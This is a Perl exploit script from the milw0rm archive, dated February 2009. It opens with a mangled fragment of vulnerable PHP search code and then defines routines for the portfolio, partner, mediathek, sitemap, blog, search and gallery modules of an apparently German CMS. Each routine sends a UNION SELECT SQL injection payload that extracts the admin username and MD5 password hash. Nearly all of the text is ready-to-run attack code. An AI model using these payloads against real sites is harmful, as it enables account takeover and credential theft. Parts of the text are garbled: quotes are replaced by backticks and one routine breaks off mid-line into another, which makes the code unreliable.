Fehler - Bitte mindestens ein Suchbegriff eingegeben!
`; # 73: # 74: } else { # # 78: $query_pages = `SELECT id, titel, inhalt, page FROM pages WHERE `; # 79: # 80: for ($i=0; $i(.*?)<\/p>.*([a-fA-F0-9]{32})<\/div>/s) { print $1.`:`.$2; } } sub use_portfolio_bug { my $url = $options{`u`}; my $exploit = `action='%20union%20select%201,2,passwort,benutzername,5,6,7,8,9,10,11,12,13,14,15,16%20from%20admin%20limit 1/*`; $url =~ s/action=\d+/$exploit/i; $response = $ua->get($url); if($response->content =~ /
(.*?)<\/p>/s)
{
print $2.`:`.$1;
}
}
sub use_partner_bug
{
my $url_user = $options{`u`};
my $url_pass = $options{`u`};
my $exploit_user = `id='%20union%20select 1,2,benutzername,4,5%20from%20admin%20limit%201/*`;
my $exploit_pass = `id='%20union%20select 1,2,passwort,4,5%20from%20admin%20limit%201/*`;
$url_user =~ s/id=\d+/$exploit_user/i;
$response = $ua->get($url_user);
$response->base =~ /.*\/(.*?)$/;
my $user = $1;
$url_pass =~ s/id=\d+/$exploit_pass/i;
$response = $ua->get($url_pass);
$response->base =~ /.*\/(.*?)$/;
my $pass = $1;
print $user.`:`.$pass;
}
sub use_mediathek_bug
{
my $url_user = $options{`u`};
my $url_pass = $options{`u`};
my $exploit_user = `id='%20union%20select 1,2,benutzername,4%20from%20admin%20limit%201/*`;
my $exploit_pass = `id='%20union%20select 1,2,passwort,4%20from%20admin%20limit%201/*`;
$url_user =~ s/id=\d+/$exploit_user/i;
$response = $ua->get($url_user);
$response->base =~ /.*\/(.*?)$/;
my $user = $1;
$url_pass =~ s/id=\d+/$exploit_pass/i;
$response = $ua->get($url_pass);
$response->base =~ /.*\/(.*?)$/;
my $pass = $1;
print $user.`:`.$pass;
}
sub use_sitemap_bug
{
my $url = $options{`u`};
$url =~ /seite=(\d+)\./;
my $id = $1;
my $exploit = `seite=`.$id.`'%20union%20select%201,benutzername,passwort,4,5,6,7,8,9,10,11,12,13,14,15%20from%20admin%20/*`;
$url =~ s/seite=\d+/$exploit/i;
$response = $ua->get($url);
if($response->content =~ /$id\.<\/strong>.*?get($url_user);
$response->base =~ /.*\/(.*?)$/;
my $user = $1;
$url_pass =~ s/id=\d+/$exploit_pass/i;
$response = $ua->get($url_pass);
$response->base =~ /.*\/(.*?)$/;
my $pass = $1;
print $user.`:`.$pass;
}
sub use_blog_bug
{
my $url = $options{`u`};
my $exploit = `action='%20union%20select%201,2,3,4,benutzername,6,passwort%20from%20admin%20limit%201/*`;
$url =~ s/action=\d+/$exploit/i;
$response = $ua->get($url);
if($response->content =~ / (.*?)<\/p>.*([a-fA-F0-9]{32})<\/div>/s)
{
print $1.`:`.$2;
}
}
sub use_suche_bug
{
my $url = $options{`u`}.`&action=senden`;
my $search = `###___###%'))/**/union/**/select/**/1,benutzername,passwort,4/**/from/**/admin/*`;
my $req = POST $url, [suchbegriff => $search];
my $response = $ua->request($req);
if($response->content =~ /.*`>(.*?)<\/a>
([a-fA-F0-9]{32}) \[/s)
{
print $1.`:`.$2;
}
}
sub use_gallery_bug
{
my $url = $options{`u`};
my $exploit = `action='%20union%20select%201,2,passwort,4,benutzername,6%20from%20admin/*`;
$url =~ s/action=\d+/$exploit/i;
$response = $ua->get($url);
my @content = split(/\n/, $response->content);
foreach (@content)
{
if($_ =~ /\/([a-fA-F0-9]{32})` rel=`lytebox\[.*?\]` title=`(.*?)`/)
{
print $2.`:`.$1.`\n`;
}
}
}
# milw0rm.com [2009-02-09]